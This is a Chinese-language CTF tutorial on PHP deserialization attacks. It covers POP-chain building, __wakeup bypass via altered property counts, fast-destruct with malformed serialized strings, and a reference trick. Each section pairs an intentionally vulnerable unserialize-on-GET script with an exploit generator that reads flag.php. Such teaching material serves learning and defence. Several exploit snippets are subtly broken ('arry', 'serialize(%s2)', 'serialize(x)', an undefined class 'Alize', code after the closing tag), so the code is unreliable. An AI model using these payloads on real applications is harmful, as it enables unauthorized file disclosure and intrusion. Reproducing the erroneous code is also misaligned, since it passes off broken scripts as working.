一、POP链
1.寻找POP链思路:
-
寻找起点,也就是启动反序列化的地方——>unserialize函数
-
寻找终点,反序列化想要执行的函数(造成危害的地方),重点找魔术方法
-
找链接起点和终点的方法,将起点和终点连接起来(从终点往前推,什么可以触发终点),一层一层研究目标在魔术方法中使用的属性和调用的方法,看看其中是否有我们可控的属性和方法
-
根据我们要控制的属性,构造序列化数据,发起攻击
例题:
<?php
error_reporting(0);
class Vox{
protected $headset;
public $sound;
public function fun($pulse){
include($pulse);
}
public function __invoke(){
$this->fun($this->headset);
}
}
class Saw{
public $fearless;
public $gun;
public function __construct($file='index.php'){
$this->fearless = $file;
echo $this->fearless . ' You are in my range!'."<br>";
}
public function __toString(){
$this->gun['gun']->fearless;
return "Saw";
}
public function _pain(){
if($this->fearless){
highlight_file($this->fearless);
}
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
echo "Does it hurt? That's right";
$this->fearless = "index.php";
}
}
}
class Petal{
public $seed;
public function __construct(){
$this->seed = array();
}
public function __get($sun){
$Nourishment = $this->seed;
return $Nourishment();
}
}
if(isset($_GET['ozo'])){
unserialize($_GET['ozo']);
}
else
{
$Saw=new Saw('index.php');
$Saw->_pain();
}
分析:
-
起点: unserialize($_GET['ozo']);参数可控
-
终点:fun()函数
-
连接起点终点,触发fun(),首先要触发invoke() ,触发invoke就要将对象当成函数调用,那么只有get(),触发get那么就要访问一个它不存在的属性,那么就可以确定到toString,让gun['gun']=Petal,那么触发toString,就确定到了wakeup,触发wakeup,就要用到unserialize($_GET['ozo']),这样起点和终点就连接起来了。
unserialize($_GET['ozo']) Saw::__wakeup Saw::__toString,$this->gun['gun']=Petal Petal::__get,$Nourishment = $this->seed=Vox Vox::__invoke Vox::fun
-
构造利用链
$v=new Vox(); $p=new Petal(); $p->seed=$v;触发Vox $s=new Saw(); $s->gun=arry('gun'=>$p);触发get $s2=new Saw(); $s2->fearless=$s;触发toString echo urlencode(serialize(%s2));触发wakeup
最后我们触发了fun(),这里是文件包含,如果直接传递我们的构造的反序列化数据则会执行flag.php,所以我们要使用php://filter伪协议来查看文件
protected $headset='php://filter/convert.base64-encode/resource=flag.php';
-
exp
<?php
error_reporting(0);
class Vox{
protected $headset='php://filter/convert.base64-encode/resource=flag.php';
}
class Saw{
public $fearless;
public $gun;
}
class Petal{
public $seed;
}
$v=new Vox();
$p=new Petal();
$p->seed=$v;触发Vox
$s=new Saw();
$s->gun=arry('gun'=>$p);
$s2=new Saw();
$s2->fearless=$s;
echo urlencode(serialize(%s2));
二、 畸形序列化字符串
1.认识畸形序列化字符串
畸形序列化字符串就是故意修改序列化数据,使其与标准序列化数据存在个别字符的差异,达到绕过一些安全函数的目的。
应用领域:
-
绕过 __wakeup()
-
快速析构(fast destruct):绕过过滤函数,提前执行 __destruct
2.绕过__wakeup
由于使用unserialize()函数后会立即触发 wakeup ,为了绕过 wakeup 中的安全机制,可以用修改属性数量的方式绕过 __wakeup 方法。受影响版本:
php5.0.0 ~ php5.6.25
php7.0.0 ~ php7.0.10
绕过方法:
-
反序列化时,修改对象的属性数量,将原数量+n,那么__wakeup方法将不再调用。比如:
//标准序列化数据 O:3:"BUU":2:{s:7:"correct";N;s:5:"input";R:2;} //修改为: O:3:"BUU":3:{s:7:"correct";N;s:5:"input";R:2;}
-
增加真实属性的个数,比如:
原始序列化数据 O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}} 增加真实属性的个数 O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"n":N;} 或者: O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";s:1:"n":N;}}
例
<?php
class dk{
public $name;
function __wakeup(){
echo "wakeup\n";
}
function __destruct(){
echo "destruct\n";
}
function test(){
echo "test\n";
}
}
echo serialize(new dk)
?>
destruct魔术方法会自动执行,在程序执行结束时会销毁对象,触发destruct
触发wakeup
<?php
class dk{
public $name;
function __wakeup(){
echo "wakeup\n";
}
function __destruct(){
echo "destruct\n";
}
function test(){
echo "test\n";
}
}
$a = 'O:2:"dk":1:{s:4:"name";N;}';
unserialize($a);
?>
使用使用unserialize时触发wakeup
绕过wakeup
<?php
error_reporting(0);
class dk{
public $name;
function __wakeup(){
echo "wakeup\n";
}
function __destruct(){
echo "destruct\n";
}
function test(){
echo "test\n";
}
}
$a = 'O:2:"dk":2:{s:4:"name";N;}';
unserialize($a);
?>
更改属性数量达到饶过wakeup效果
3.快速析构
快速析构的原理:当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法( destruct() )。应用场景:某些题目需要利用 destruct 才能获取flag,但是 destruct 是在对象被销毁时才触发(执行顺序太靠后), destruct 之前会执行过滤函数,为了绕过这些过滤函数,就需要提前触发destruct 方法。
畸形字符串的构造
-
改掉属性的个数
-
删掉结尾的 }
例题
<?php
class DemoX{
protected $user;
protected $sex;
function __construct(){
$this->user = "guest";
$this->sex = "male";
}
function __wakeup(){
$this->user = "Guest";
$this->sex = "female";
}
function __toString(){
return "<br>you are " . $this->user . ", your sex is " . $this->sex . "<br>";
}
function __destruct()
{
echo $this;
}
}
class Demo2{
private $fffl4g;
function __construct($file)
{
$this->fffl4g = $file;
}
function __toString(){
return file_get_contents($this->fffl4g);
}
}
if(!isset($_GET['poc'])){
highlight_file("index.php");
}
else{
$user = unserialize($_GET['poc']);
}
解题步骤:
-
起点:$user = unserialize($_GET['poc']);
-
终点:Demo2->function __toString(){}
-
连接起点终点
$user = unserialize($_GET['poc']) //绕过__wakeup,改变序列化数据属性数量 DemoX::__toString() Demo2::__toString()
-
构造利用链
$x = new DemoX(); $x = serialize(x);//用这个正常的和下面url编码后的对比找出属性个数,进行更改绕过wakeup echo $x. "\n"; echo urlencode($x);
-
exp
<?php
class DemoX{
protected $user;
protected $sex;
function __construct(){
$this->user = new Demo2;
$this->sex = "xxx";
}
}
class Demo2{
private $fffl4g="flag.php";
}
$x = new DemoX();
$x = serialize(x);
echo $x. "\n";
echo urlencode($x);
三、指针问题
1.指针
用 & 符号可以进行指针引用,类似于C语言中的指针。
例如:$a=&$b;
例题
<?php
class Seri{
public $alize;
public function __construct($alize) {
$this->alize = $alize;
}
public function __destruct(){
$this->alize->getFlag();
}
}
class Flag{
public $f;
public $t1;
public $t2;
function __construct($file){
echo "Another construction!!";
$this->f = $file;
$this->t1 = $this->t2 = md5(rand(1,10000));
}
public function getFlag(){
$this->t2 = md5(rand(1,10000));
echo $this->t1;
echo $this->t2;
if($this->t1 === $this->t2)
{
if(isset($this->f)){
echo @highlight_file($this->f,true);
}
}
}
}
$p = $_GET['P'];
if (isset($p)) {
$p = unserialize($p);
} else {
show_source(__FILE__);
echo "NONONO";
}
?>
exp
<?php
class Seri{
public $alize;
}
class Flag{
public $f;
public $t1;
public $t2;
}
?>
$f=new Alize;
$f->f='flag.php';
$f->t1=&$f->t2;//运用指针触发
$s=new Seri;
$s->alize=$f;
echo(urlencode(serialize($s)));